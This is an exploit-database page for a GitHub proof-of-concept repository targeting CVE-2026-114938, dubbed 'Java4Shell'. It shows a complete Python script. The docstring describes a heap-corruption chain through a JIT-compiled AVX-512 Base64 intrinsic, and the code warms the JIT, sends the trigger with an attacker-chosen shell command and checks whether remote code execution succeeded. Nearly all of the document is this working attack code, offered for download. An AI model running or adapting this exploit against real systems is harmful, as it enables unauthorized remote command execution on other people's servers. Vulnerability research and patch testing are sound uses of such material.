Exploit database

GH-39df4d7de76f9d99fed90fee67363cad

tahucryptsi/poc-cve-2026-114938-java4shell-base64-oob

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-114938

42 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files9

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.py

Suggested starting filePython · 3,084 bytes
#!/usr/bin/env python3
"""
CVE-2026-114938 (Java4Shell) - remote PoC, HTTP only, zero interaction.

Drives the full chain against the lab service:

  1. GET /warm              JIT-compile the (src,dst) decode path. The AVX-512 Base64
                            intrinsic only substitutes the Java method after C2
                            compilation, so a cold JVM never reaches the vulnerable path.
  2. GET /pwn?cmd=<cmd>     session alloc: scratch[98] + blob[100] adjacent ->
                            ONE valid base64 trigger (129 x 'A' + '=') -> the intrinsic
                            writes 64 B past the scratch data -> the neighbouring blob's
                            object header (mark/klass/length) is overwritten ->
                            blob.length becomes a huge unsigned value ->
                            Java index reads on that blob are no longer bounds-checked ->
                            the service reads the attacker's command bytes out of the
                            heap and executes them.

Exit codes:
    0 = command executed (RCE confirmed)
    1 = target unreachable
    2 = reachable but the chain did not land
    3 = usage

Usage:
    python3 poc.py http://127.0.0.1:3200 [/tmp/pwn.sh]
"""
import sys
import urllib.parse
import urllib.request

MARKER = "PWNED-BY-HEAP-CORRUPTION"


def get(base, path, timeout=900):
    with urllib.request.urlopen(base + path, timeout=timeout) as r:
        return r.read().decode("utf-8", "replace")


def main():
    if len(sys.argv) < 2:
        print(__doc__)
        return 3
    base = sys.argv[1].rstrip("/")
    cmd = sys.argv[2] if len(sys.argv) > 2 else "/tmp/pwn.sh"

    try:
        banner = get(base, "/", timeout=30)
    except Exception as e:
        print(f"[-] target unreachable: {e}")
        return 1
    print(f"[0] target: {banner.strip()}")

    print("[1] warming JIT (intrinsic substitution gate) ...")
    print("    " + get(base, "/warm").strip())

    print(f"[2] firing chain, command = {cmd}")
    body = get(base, "/pwn?cmd=" + urllib.parse.quote(cmd, safe=""))
    for line in body.rstrip().splitlines():
        print("    " + line)

    if MARKER in body:
        print("[+] RCE CONFIRMED: heap corruption -> Java bounds bypass -> command executed")
        return 0
    if "exit=0" in body:
        # custom command ran and produced output even without the default marker
        out = [l for l in body.splitlines()
               if not l.startswith(("blobLen=", "offset=", "cmd=", "exit="))]
        if any(l.strip() for l in out):
            print("[+] RCE CONFIRMED: heap corruption -> Java bounds bypass -> command executed")
            return 0
    if "no corruption" in body:
        print("[-] chain did not land: intrinsic idle (warm harder or run on AVX-512 VBMI hw)")
        return 2
    if "payload not found" in body:
        print("[-] header corrupted but the command bytes were outside the readable window")
        return 2
    print("[-] unexpected response (see above)")
    return 2


if __name__ == "__main__":
    sys.exit(main())